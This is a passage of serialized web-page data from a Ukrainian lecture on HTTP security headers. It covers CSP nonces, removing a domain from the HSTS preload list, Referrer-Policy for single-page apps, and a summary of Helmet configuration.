console.log('Цей script дозволений');\n\u003C\u002Fscript>\n",[5325,12997,12998,13003,13031,13035,13040,13064,13068,13073,13088,13105],{"__ignoreMap":5417},[5421,12999,13000],{"class":5423,"line":5424},[5421,13001,13002],{"class":5494},"\u002F\u002F Генерувати nonce для кожного запиту\n",[5421,13004,13005,13007,13009,13011,13013,13015,13017,13019,13021,13023,13025,13027,13029],{"class":5423,"line":5498},[5421,13006,8072],{"class":5434},[5421,13008,6952],{"class":5588},[5421,13010,5592],{"class":5505},[5421,13012,6957],{"class":5509},[5421,13014,5601],{"class":5505},[5421,13016,6962],{"class":5427},[5421,13018,5607],{"class":5505},[5421,13020,6967],{"class":5665},[5421,13022,6970],{"class":5505},[5421,13024,6973],{"class":5427},[5421,13026,5607],{"class":5505},[5421,13028,6978],{"class":5430},[5421,13030,5612],{"class":5505},[5421,13032,13033],{"class":5423,"line":5525},[5421,13034,5564],{"emptyLinePlaceholder":5563},[5421,13036,13037],{"class":5423,"line":5544},[5421,13038,13039],{"class":5494},"\u002F\u002F CSP\n",[5421,13041,13042,13044,13046,13048,13050,13053,13055,13057,13059,13062],{"class":5423,"line":5560},[5421,13043,6633],{"class":7967},[5421,13045,9198],{"class":5505},[5421,13047,6359],{"class":5430},[5421,13049,6106],{"class":5505},[5421,13051,13052],{"class":5430},"`'nonce-",[5421,13054,5892],{"class":5434},[5421,13056,6641],{"class":5509},[5421,13058,5897],{"class":5434},[5421,13060,13061],{"class":5430},"'`",[5421,13063,12969],{"class":5505},[5421,13065,13066],{"class":5423,"line":5567},[5421,13067,5564],{"emptyLinePlaceholder":5563},[5421,13069,13070],{"class":5423,"line":5582},[5421,13071,13072],{"class":5494},"\u002F\u002F HTML\n",[5421,13074,13075,13077,13079,13081,13083,13086],{"class":5423,"line":5615},[5421,13076,7100],{"class":5505},[5421,13078,7103],{"class":5509},[5421,13080,6952],{"class":5509},[5421,13082,7110],{"class":5505},[5421,13084,13085],{"class":5430},"\"\u003C%= nonce %>\"",[5421,13087,7117],{"class":5505},[5421,13089,13090,13093,13095,13098,13100,13103],{"class":5423,"line":5620},[5421,13091,13092],{"class":5509},"  console",[5421,13094,5601],{"class":5505},[5421,13096,13097],{"class":5427},"log",[5421,13099,5607],{"class":5505},[5421,13101,13102],{"class":5430},"'Цей script дозволений'",[5421,13104,5612],{"class":5505},[5421,13106,13107,13109,13111],{"class":5423,"line":5626},[5421,13108,7151],{"class":5505},[5421,13110,7103],{"class":5509},[5421,13112,7117],{"class":5505},[12926,13114,13116,13121,13133,13138,13179,13189],{"icon":12928,"label":13115},"❓ Чи можна видалити домен з HSTS Preload List швидко?",[5089,13117,13118],{},[5099,13119,13120],{},"Ні, це складний та тривалий процес.",[5089,13122,13123,13124,13128,13129,13132],{},"Якщо ви додали домен до HSTS Preload List (через ",[8023,13125,8028],{"href":13126,"rel":13127},"https:\u002F\u002Fhstspreload.org",[8027],"), то цей домен вбудовується у ",[5099,13130,13131],{},"вихідний код браузерів"," (Chromium, Firefox, Safari).",[5089,13134,13135],{},[5099,13136,13137],{},"Процес видалення:",[5697,13139,13140,13163,13169],{},[5096,13141,13142,13145,13146,5482,13149],{},[5099,13143,13144],{},"Видалити HSTS заголовок"," з вашого сервера або встановити ",[5325,13147,13148],{},"max-age=0",[5412,13150,13152],{"className":5943,"code":13151,"language":5945,"meta":5417,"style":5417},"Strict-Transport-Security: max-age=0\n",[5325,13153,13154],{"__ignoreMap":5417},[5421,13155,13156,13158,13160],{"class":5423,"line":5424},[5421,13157,5740],{"class":5952},[5421,13159,5482],{"class":5434},[5421,13161,13162],{"class":5430}," max-age=0\n",[5096,13164,13165,13168],{},[5099,13166,13167],{},"Подати запит на видалення"," на hstspreload.org.",[5096,13170,13171,13174,13175,13178],{},[5099,13172,13173],{},"Очікувати оновлення браузерів"," — може зайняти ",[5099,13176,13177],{},"3-6 місяців",", поки нова версія Chrome\u002FFirefox без вашого домену дійде до всіх користувачів.",[5089,13180,13181,13184,13185,13188],{},[5099,13182,13183],{},"Чому так довго:"," браузери отримують оновлений список лише з новими релізами. Користувачі зі старими версіями браузерів ",[5099,13186,13187],{},"не зможуть"," отримати доступ до вашого сайту через HTTP до оновлення браузера.",[5089,13190,13191,13194,13195,13197],{},[5099,13192,13193],{},"Рекомендація:"," додавайте до Preload List лише домени, де HTTPS є ",[5099,13196,8051],{}," (production сайти, API). Не додавайте staging чи dev середовища.",[12926,13199,13201,13208,13214,13220,13259,13264,13273,13297,13302,13316],{"icon":12928,"label":13200},"❓ Чому Referrer-Policy important для SPA застосунків?",[5089,13202,13203,13204,13207],{},"Single Page Applications часто зберігають ",[5099,13205,13206],{},"чутливу інформацію у URL"," (наприклад, токени, ідентифікатори користувачів, фільтри):",[5412,13209,13212],{"className":13210,"code":13211,"language":5921},[5919],"https:\u002F\u002Fapp.example.com\u002Fdashboard?userId=12345&token=abc123&filter=confidential\n",[5325,13213,13211],{"__ignoreMap":5417},[5089,13215,13216,13217,5482],{},"Якщо користувач натискає зовнішнє посилання з цієї сторінки (наприклад, посилання на документацію або соціальні мережі), браузер ",[5099,13218,13219],{},"за замовчуванням відправить повний URL у Referer header",[5412,13221,13223],{"className":5943,"code":13222,"language":5945,"meta":5417,"style":5417},"GET \u002Fexternal-page HTTP\u002F1.1\nHost: external-site.com\nReferer: https:\u002F\u002Fapp.example.com\u002Fdashboard?userId=12345&token=abc123&filter=confidential\n",[5325,13224,13225,13240,13250],{"__ignoreMap":5417},[5421,13226,13227,13230,13233,13235,13237],{"class":5423,"line":5424},[5421,13228,13229],{"class":5501},"GET",[5421,13231,13232],{"class":5505}," \u002Fexternal-page ",[5421,13234,10349],{"class":5434},[5421,13236,6642],{"class":5505},[5421,13238,13239],{"class":5665},"1.1\n",[5421,13241,13242,13245,13247],{"class":5423,"line":5498},[5421,13243,13244],{"class":5952},"Host",[5421,13246,5482],{"class":5434},[5421,13248,13249],{"class":5430}," external-site.com\n",[5421,13251,13252,13254,13256],{"class":5423,"line":5525},[5421,13253,8408],{"class":5952},[5421,13255,5482],{"class":5434},[5421,13257,13258],{"class":5430}," https:\u002F\u002Fapp.example.com\u002Fdashboard?userId=12345&token=abc123&filter=confidential\n",[5089,13260,13261,13263],{},[5099,13262,7929],{}," зовнішній сайт отримує конфіденційні параметри з URL.",[5089,13265,13266,13268,13269,7575,13271,5482],{},[5099,13267,7939],{}," використовуйте ",[5325,13270,8635],{},[5325,13272,8583],{},[5412,13274,13275],{"className":5485,"code":8675,"language":5487,"meta":5417,"style":5417},[5325,13276,13277,13283,13293],{"__ignoreMap":5417},[5421,13278,13279,13281],{"class":5423,"line":5424},[5421,13280,8682],{"class":7967},[5421,13282,7971],{"class":5505},[5421,13284,13285,13287,13289,13291],{"class":5423,"line":5498},[5421,13286,8689],{"class":7967},[5421,13288,5870],{"class":5505},[5421,13290,8694],{"class":5430},[5421,13292,6381],{"class":5505},[5421,13294,13295],{"class":5423,"line":5525},[5421,13296,5674],{"class":5505},[5089,13298,13299,13301],{},[5099,13300,5984],{}," браузер відправить лише origin без шляху та query parameters:",[5412,13303,13305],{"className":5943,"code":13304,"language":5945,"meta":5417,"style":5417},"Referer: https:\u002F\u002Fapp.example.com\n",[5325,13306,13307],{"__ignoreMap":5417},[5421,13308,13309,13311,13313],{"class":5423,"line":5424},[5421,13310,8408],{"class":5952},[5421,13312,5482],{"class":5434},[5421,13314,13315],{"class":5430}," https:\u002F\u002Fapp.example.com\n",[5089,13317,13318,13321],{},[5099,13319,13320],{},"Додаткова захист:"," не зберігайте чутливу інформацію у URL. Використовуйте POST запити або session storage.",[5149,13323],{},[5084,13325,13327],{"id":13326},"підсумок","Підсумок",[5152,13329,13330,13357,13398],{},[5155,13331,13333,13338,13352],{"icon":4616,"title":13332},"🛡️ Security Headers",[5089,13334,13335],{},[5099,13336,13337],{},"HTTP Security Headers — перша лінія захисту:",[5093,13339,13340,13343,13346,13349],{},[5096,13341,13342],{},"Інструктують браузер про правила безпеки",[5096,13344,13345],{},"Захищають від XSS, clickjacking, MITM атак",[5096,13347,13348],{},"Мінімізують витік конфіденційної інформації",[5096,13350,13351],{},"Не замінюють інші рівні безпеки (валідація вводу, аутентифікація)",[5089,13353,13354],{},[5099,13355,13356],{},"Helmet автоматизує налаштування 15+ заголовків",[5155,13358,13360,13365,13393],{"icon":4068,"title":13359},"🔐 Ключові заголовки",[5089,13361,13362],{},[5099,13363,13364],{},"Must-have для продакшену:",[5093,13366,13367,13373,13379,13384,13388],{},[5096,13368,13369,13372],{},[5099,13370,13371],{},"CSP"," — контроль джерел ресурсів, захист від XSS",[5096,13374,13375,13378],{},[5099,13376,13377],{},"HSTS"," — примусове HTTPS",[5096,13380,13381,5762],{},[5099,13382,13383],{},"X-Frame-Options \u002F frame-ancestors",[5096,13385,13386,5746],{},[5099,13387,5125],{},[5096,13389,13390,13392],{},[5099,13391,5131],{}," — контроль витоку інформації",[5089,13394,13395],{},[5099,13396,13397],{},"Permissions-Policy — контроль браузерних API (camera, geolocation)",[5155,13399,13402,13407,13429],{"icon":13400,"title":13401},"i-lucide-settings","⚙️ Практичні кроки",[5089,13403,13404],{},[5099,13405,13406],{},"Впровадження у проєкт:",[5697,13408,13409,13417,13420,13423,13426],{},[5096,13410,13411,13412,13414,13415],{},"Встановити ",[5325,13413,5639],{}," та підключити у ",[5325,13416,5481],{},[5096,13418,13419],{},"Налаштувати CSP для вашого tech stack",[5096,13421,13422],{},"Увімкнути HSTS для продакшену (з умовою)",[5096,13424,13425],{},"Протестувати через securityheaders.com",[5096,13427,13428],{},"Використовувати CSP report-only для поетапного впровадження",[5089,13430,13431],{},[5099,13432,13433],{},"Моніторинг порушень CSP через Sentry\u002FPrometheus",[5089,13435,13436,13437,13439],{},"У наступній лекції ми розглянемо захист API від зловживань через ",[5099,13438,4649],{}," — обмеження кількості запитів від одного клієнта за проміжок часу для захисту від brute force атак, DDoS та надмірного навантаження.",[7195,13441,13442],{},"html pre.shiki code .s8Opu, html code.shiki .s8Opu{--shiki-light:#795E26;--shiki-default:#DCDCAA;--shiki-dark:#DCDCAA}html pre.shiki code .sbdoH, html code.shiki .sbdoH{--shiki-light:#A31515;--shiki-default:#CE9178;--shiki-dark:#CE9178}html pre.shiki code .su1O8, html code.shiki .su1O8{--shiki-light:#0000FF;--shiki-default:#569CD6;--shiki-dark:#569CD6}html .light .shiki span {color: var(--shiki-light);background: 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